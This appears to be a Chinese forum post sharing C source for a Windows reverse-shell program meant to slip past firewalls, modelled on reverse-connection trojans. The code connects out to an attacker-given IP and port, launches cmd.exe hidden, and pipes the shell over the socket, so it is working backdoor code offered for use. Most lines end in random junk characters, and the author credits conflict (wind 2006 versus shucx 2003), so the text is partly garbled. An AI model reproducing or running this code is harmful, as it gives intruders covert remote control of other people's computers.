这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 T#!>mL|9|
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/* ============================== zdN[Uc+1Bd
Rebound port in Windows NT b:==:d:0s
By wind,2006/7 z.Cj%N
===============================*/ o'2eSm0H
#include YT(N][V
#include kx,.)qKk
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#pragma comment(lib,"wsock32.lib") Ho &Q}<(
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void OutputShell(); h}Otz "
SOCKET sClient; `/O`%6,f1!
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; n!)$e;l
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void main(int argc,char **argv) S<Dbv?
{ ;V,L_"/X
WSADATA stWsaData; q/O2E<=w*c
int nRet; M2Q,&>M
SOCKADDR_IN stSaiClient,stSaiServer; :_e[xB=Yy
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if(argc != 3) AtQ.H-8r
{ $ XjijD9R
printf("Useage:\n\rRebound DestIP DestPort\n"); \n<!
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return; VLuHuih
} <)7aNW.
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WSAStartup(MAKEWORD(2,2),&stWsaData); q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U5Hi9fe
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stSaiClient.sin_family = AF_INET; OBi(]l}^O
stSaiClient.sin_port = htons(0); YR?Y:?(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T$;S
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 25>R^2,LiE
{ * %D_\0;
printf("Bind Socket Failed!\n"); %"WENa/t
return; ifDWN*k6
} nPyn~3
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stSaiServer.sin_family = AF_INET; $|K:
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); juF9:Eah
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \.L jA_
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^r~[3NT
{ wf8{v
printf("Connect Error!"); :>FN|fz
return; 4=Th<,<
} t;* zr*
OutputShell(); Am,{Fj
} +?J N_aR
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void OutputShell() ciS +.%7
{ $nt&'Xnv
char szBuff[1024]; ?fxM1<8
SECURITY_ATTRIBUTES stSecurityAttributes; 0'o[2,
OSVERSIONINFO stOsversionInfo; <h -)zI
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ZJDV'mC}
STARTUPINFO stStartupInfo; q`xc h[H
char *szShell; v>8.TE~2
PROCESS_INFORMATION stProcessInformation; {4g';
unsigned long lBytesRead; 3x~7N
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x,gk]C f
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 8T1`9ITl:
stSecurityAttributes.lpSecurityDescriptor = 0; &%2^B[{
stSecurityAttributes.bInheritHandle = TRUE; lHM+<Z
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); (L(7)WbH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OxHcoNrz
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); I=!kPuw
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @2E52$zu
stStartupInfo.wShowWindow = SW_HIDE; hF'VqJS
stStartupInfo.hStdInput = hReadPipe; u@Hz7Q}
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5}%R
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GetVersionEx(&stOsversionInfo); gTj,I=3$?e
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switch(stOsversionInfo.dwPlatformId) yrxX[Hg?@
{ Lm[,^k
case 1: M-@RgWvF
szShell = "command.com"; ZID- ~
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break; 48:xvTE?N
default: )U~|QdZ
szShell = "cmd.exe"; %9cT#9!7
break; SH)-(+72d
} wUaWF$~y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .i*oZ'[X
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send(sClient,szMsg,77,0); _Q+c'q Zkl
while(1) 8H7#[?F
{ L\#YFf
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >6S7#)0T
if(lBytesRead) 5aaM;45C
{ (.UU40:t
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); F!z ^0+H(
send(sClient,szBuff,lBytesRead,0); 2E1`r@L
} f2e;N[D
else r^5%0_F]
{ 8i',~[
lBytesRead=recv(sClient,szBuff,1024,0); I8XP`Ccq
if(lBytesRead<=0) break; ^6 wWv&G[8
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); sU>IETo
} P*KIk~J
} t+v%%N_
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return; )Fx]LeI;
}